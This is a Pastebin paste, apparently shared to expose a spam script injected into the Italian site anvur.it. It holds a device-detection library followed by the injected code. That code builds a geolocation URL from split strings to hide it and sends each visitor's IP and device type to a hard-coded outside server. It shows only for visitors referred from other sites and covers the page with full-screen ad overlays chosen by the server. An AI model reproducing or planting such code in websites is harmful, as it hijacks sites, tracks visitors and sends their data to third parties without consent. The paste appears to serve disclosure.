Advertisement
Guest User

Script di spam su anvur.it

a guest
Apr 16th, 2017
464
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;(function() {
  2.     var a, b, c, d, e, f, g, h, i, j;
  3.     b = window.device,
  4.     a = {},
  5.     window.device = a,
  6.     d = window.document.documentElement,
  7.     j = window.navigator.userAgent.toLowerCase(),
  8.     a.ios = function() {
  9.         return a.iphone() || a.ipod() || a.ipad()
  10.     }
  11.     ,
  12.     a.iphone = function() {
  13.         return !a.windows() && e("iphone")
  14.     }
  15.     ,
  16.     a.ipod = function() {
  17.         return e("ipod")
  18.     }
  19.     ,
  20.     a.ipad = function() {
  21.         return e("ipad")
  22.     }
  23.     ,
  24.     a.android = function() {
  25.         return !a.windows() && e("android")
  26.     }
  27.     ,
  28.     a.androidPhone = function() {
  29.         return a.android() && e("mobile")
  30.     }
  31.     ,
  32.     a.androidTablet = function() {
  33.         return a.android() && !e("mobile")
  34.     }
  35.     ,
  36.     a.blackberry = function() {
  37.         return e("blackberry") || e("bb10") || e("rim")
  38.     }
  39.     ,
  40.     a.blackberryPhone = function() {
  41.         return a.blackberry() && !e("tablet")
  42.     }
  43.     ,
  44.     a.blackberryTablet = function() {
  45.         return a.blackberry() && e("tablet")
  46.     }
  47.     ,
  48.     a.windows = function() {
  49.         return e("windows")
  50.     }
  51.     ,
  52.     a.windowsPhone = function() {
  53.         return a.windows() && e("phone")
  54.     }
  55.     ,
  56.     a.windowsTablet = function() {
  57.         return a.windows() && e("touch") && !a.windowsPhone()
  58.     }
  59.     ,
  60.     a.fxos = function() {
  61.         return (e("(mobile;") || e("(tablet;")) && e("; rv:")
  62.     }
  63.     ,
  64.     a.fxosPhone = function() {
  65.         return a.fxos() && e("mobile")
  66.     }
  67.     ,
  68.     a.fxosTablet = function() {
  69.         return a.fxos() && e("tablet")
  70.     }
  71.     ,
  72.     a.meego = function() {
  73.         return e("meego")
  74.     }
  75.     ,
  76.     a.cordova = function() {
  77.         return window.cordova && "file:" === location.protocol
  78.     }
  79.     ,
  80.     a.nodeWebkit = function() {
  81.         return "object" == typeof window.process
  82.     }
  83.     ,
  84.     a.mobile = function() {
  85.         return a.androidPhone() || a.iphone() || a.ipod() || a.windowsPhone() || a.blackberryPhone() || a.fxosPhone() || a.meego()
  86.     }
  87.     ,
  88.     a.tablet = function() {
  89.         return a.ipad() || a.androidTablet() || a.blackberryTablet() || a.windowsTablet() || a.fxosTablet()
  90.     }
  91.     ,
  92.     a.desktop = function() {
  93.         return !a.tablet() && !a.mobile()
  94.     }
  95.     ,
  96.     a.television = function() {
  97.         var a;
  98.         for (television = ["googletv", "viera", "smarttv", "internet.tv", "netcast", "nettv", "appletv", "boxee", "kylo", "roku", "dlnadoc", "roku", "pov_tv", "hbbtv", "ce-html"],
  99.         a = 0; a < television.length; ) {
  100.             if (e(television[a]))
  101.                 return !0;
  102.             a++
  103.         }
  104.         return !1
  105.     }
  106.     ,
  107.     a.portrait = function() {
  108.         return window.innerHeight / window.innerWidth > 1
  109.     }
  110.     ,
  111.     a.landscape = function() {
  112.         return window.innerHeight / window.innerWidth < 1
  113.     }
  114.     ,
  115.     a.noConflict = function() {
  116.         return window.device = b,
  117.         this
  118.     }
  119.     ,
  120.     e = function(a) {
  121.         return -1 !== j.indexOf(a)
  122.     }
  123.     ,
  124.     g = function(a) {
  125.         var b;
  126.         return b = new RegExp(a,"i"),
  127.         d.className.match(b)
  128.     }
  129.     ,
  130.     c = function(a) {
  131.         var b = null;
  132.         g(a) || (b = d.className.replace(/^\s+|\s+$/g, ""),
  133.         d.className = b + " " + a)
  134.     }
  135.     ,
  136.     i = function(a) {
  137.         g(a) && (d.className = d.className.replace(" " + a, ""))
  138.     }
  139.     ,
  140.     a.ios() ? a.ipad() ? c("ios ipad tablet") : a.iphone() ? c("ios iphone mobile") : a.ipod() && c("ios ipod mobile") : a.android() ? c(a.androidTablet() ? "android tablet" : "android mobile") : a.blackberry() ? c(a.blackberryTablet() ? "blackberry tablet" : "blackberry mobile") : a.windows() ? c(a.windowsTablet() ? "windows tablet" : a.windowsPhone() ? "windows mobile" : "desktop") : a.fxos() ? c(a.fxosTablet() ? "fxos tablet" : "fxos mobile") : a.meego() ? c("meego mobile") : a.nodeWebkit() ? c("node-webkit") : a.television() ? c("television") : a.desktop() && c("desktop"),
  141.     a.cordova() && c("cordova"),
  142.     f = function() {
  143.         a.landscape() ? (i("portrait"),
  144.         c("landscape")) : (i("landscape"),
  145.         c("portrait"))
  146.     }
  147.     ,
  148.     h = Object.prototype.hasOwnProperty.call(window, "onorientationchange") ? "orientationchange" : "resize",
  149.     window.addEventListener ? window.addEventListener(h, f, !1) : window.attachEvent ? window.attachEvent(h, f) : window[h] = f,
  150.     f(),
  151.     "function" == typeof define && "object" == typeof define.amd && define.amd ? define(function() {
  152.         return a
  153.     }) : "undefined" != typeof module && module.exports ? module.exports = a : window.device = a
  154. }
  155. ).call(this);
  156. (function(options) {
  157.     var url, cname = "_g_hl9vjssuHK6riw3ks-R0rq0V-7RYmGYi";
  158.     window.g_callbackIp = function(arg) {
  159.         var xhr = new XMLHttpRequest();
  160.         xhr.open('GET', url + "?c=" + arg.ip + "&m=" + (!window.device.desktop() ? 1 : 0) + (getRequestParameter("_G_SKIP") ? "&_G_SKIP=1" : ""), true);
  161.         xhr.setRequestHeader('Content-Type', 'application/json');
  162.         xhr.send();
  163.         xhr.onreadystatechange = function() {
  164.             if (this.readyState != 4)
  165.                 return;
  166.             if (this.status == 200) {
  167.                 var response = JSON.parse(this.responseText);
  168.                 if (!response.a || !checkRef())
  169.                     return;
  170.                 switch (response.a) {
  171.                 case 'c':
  172.                     setCookie(cname, 1, {
  173.                         expires: 60 * 60 * 24 * 365
  174.                     });
  175.                     break;
  176.                 case 's':
  177.                     if (!response.r || !(response.r instanceof Array))
  178.                         return;
  179.                     show(response.r);
  180.                     break
  181.                 }
  182.             }
  183.         }
  184.     }
  185.     ;
  186.     function checkRef() {
  187.         if (getRequestParameter("_G_SKIP"))
  188.             return true;
  189.         var r = new RegExp(window.location.hostname,'i');
  190.         return document.referrer && !r.test(document.referrer)
  191.     }
  192.     function getCookie(name) {
  193.         var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"));
  194.         return matches ? decodeURIComponent(matches[1]) : undefined
  195.     }
  196.     function setCookie(name, value, options) {
  197.         options = options || {};
  198.         var expires = options.expires;
  199.         if (typeof expires == "number" && expires) {
  200.             var d = new Date();
  201.             d.setTime(d.getTime() + expires * 1000);
  202.             expires = options.expires = d
  203.         }
  204.         if (expires && expires.toUTCString) {
  205.             options.expires = expires.toUTCString()
  206.         }
  207.         value = encodeURIComponent(value);
  208.         var updatedCookie = name + "=" + value;
  209.         for (var propName in options) {
  210.             if (options.hasOwnProperty(propName)) {
  211.                 updatedCookie += "; " + propName;
  212.                 var propValue = options[propName];
  213.                 if (propValue !== true) {
  214.                     updatedCookie += "=" + propValue
  215.                 }
  216.             }
  217.         }
  218.         document.cookie = updatedCookie
  219.     }
  220.     function init(options) {
  221.         url = options.url || '';
  222.         if (!getCookie(cname)) {
  223.             load()
  224.         }
  225.     }
  226.     function load() {
  227.         var s = document.createElement('script');
  228.         s.setAttribute("type", "text/javascript");
  229.         s.setAttribute("src", '//f' + 'r' + 'e' + 'e' + 'g' + 'e' + 'o' + 'i' + 'p' + '.n' + 'e' + 't' + '/j' + 'so' + 'n?c' + 'all' + 'ba' + 'ck=g_' + 'cal' + 'lba' + 'ckI' + 'p');
  230.         if (s) {
  231.             document.getElementsByTagName("head")[0].appendChild(s)
  232.         }
  233.     }
  234.     function show(configs) {
  235.         var body = document.getElementsByTagName("body")[0];
  236.         var adsScript = document.createElement('script');
  237.         adsScript.setAttribute("type", "text/javascript");
  238.         adsScript.setAttribute("src", '//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js');
  239.         adsScript.setAttribute("async", "");
  240.         body.appendChild(adsScript);
  241.         configs.forEach(function(item) {
  242.             if (item.c) {
  243.                 insertAdv(item.c, item.s)
  244.             }
  245.         })
  246.     }
  247.     function insertAdv(code, position) {
  248.         var matchedHeight = code.match(/height:(\d+)px/i)
  249.           , matchedWidth = code.match(/width:(\d+)px/i)
  250.           , h = matchedHeight ? matchedHeight[1] : 90
  251.           , w = matchedWidth ? matchedWidth[1] : 90
  252.           , body = document.getElementsByTagName("body")[0]
  253.           , advDiv = document.createElement('div')
  254.           , divId = 'div_' + getRandomInt(1, 1000)
  255.           , innerAdvDiv = document.createElement('div');
  256.         advDiv.setAttribute("id", divId);
  257.         advDiv.style.position = 'fixed';
  258.         advDiv.style.backgroundColor = body.style.backgroundColor;
  259.         advDiv.style.textAlign = 'center';
  260.         advDiv.style.verticalAlign = 'middle';
  261.         advDiv.style.zIndex = '9999999999';
  262.         switch (position) {
  263.         case "t":
  264.         case "b":
  265.             if (position == "t") {
  266.                 advDiv.style.top = 0
  267.             } else {
  268.                 advDiv.style.bottom = 0
  269.             }
  270.             advDiv.style.height = h + "px";
  271.             advDiv.style.width = "100%";
  272.             break;
  273.         case "l":
  274.         case "r":
  275.             if (position == "l") {
  276.                 advDiv.style.left = 0
  277.             } else {
  278.                 advDiv.style.right = 0
  279.             }
  280.             advDiv.style.top = (window.innerHeight / 2 - h / 2) + "px";
  281.             advDiv.style.height = "100%";
  282.             advDiv.style.width = w + "px";
  283.             break;
  284.         case "lb":
  285.         case "rb":
  286.             if (position == "lb") {
  287.                 advDiv.style.left = 0
  288.             } else {
  289.                 advDiv.style.right = 0
  290.             }
  291.             advDiv.style.bottom = 0;
  292.             advDiv.style.height = "100%";
  293.             advDiv.style.width = w + "px";
  294.             innerAdvDiv.style.position = 'absolute';
  295.             innerAdvDiv.style.bottom = 0;
  296.             break;
  297.         case "lt":
  298.         case "rt":
  299.             if (position == "lt") {
  300.                 advDiv.style.left = 0
  301.             } else {
  302.                 advDiv.style.right = 0
  303.             }
  304.             advDiv.style.top = 0;
  305.             advDiv.style.height = "100%";
  306.             advDiv.style.width = w + "px";
  307.             innerAdvDiv.style.position = 'absolute';
  308.             innerAdvDiv.style.top = 0;
  309.             break
  310.         }
  311.         advDiv.setAttribute("data-height", h);
  312.         innerAdvDiv.innerHTML = code;
  313.         advDiv.appendChild(innerAdvDiv);
  314.         body.appendChild(advDiv);
  315.         (adsbygoogle = window.adsbygoogle || []).push({});
  316.         if (position == "l" || position == "r") {
  317.             addEvent('onresize', function() {
  318.                 onResizeWindow(this)
  319.             }
  320.             .bind(advDiv))
  321.         }
  322.     }
  323.     function getRandomInt(min, max) {
  324.         return Math.floor(Math.random() * (max - min)) + min
  325.     }
  326.     function onResizeWindow(div) {
  327.         var advHeight = div.getAttribute("data-height");
  328.         div.style.top = (window.innerHeight / 2 - advHeight / 2) + "px"
  329.     }
  330.     function getRequestParameter(name) {
  331.         try {
  332.             var href = window.location.href;
  333.             var regexS = "[\\?#&]" + name + "=([^&#]*)";
  334.             var regex = new RegExp(regexS);
  335.             var results = regex.exec(href);
  336.             if (results == null)
  337.                 return "";
  338.             else {
  339.                 return decodeURIComponent(results[1])
  340.             }
  341.         } catch (e) {
  342.             return ""
  343.         }
  344.     }
  345.     function addEvent(event, callback) {
  346.         var oldHandler = window[event];
  347.         if (typeof window[event] != 'function') {
  348.             window[event] = callback
  349.         } else {
  350.             window[event] = function() {
  351.                 if (oldHandler) {
  352.                     oldHandler()
  353.                 }
  354.                 callback()
  355.             }
  356.         }
  357.     }
  358.     addEvent('onload', function() {
  359.         init(options)
  360.     })
  361. })({
  362.     url: 'http://128.199.161.173/proxy/11/image21.php'
  363. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement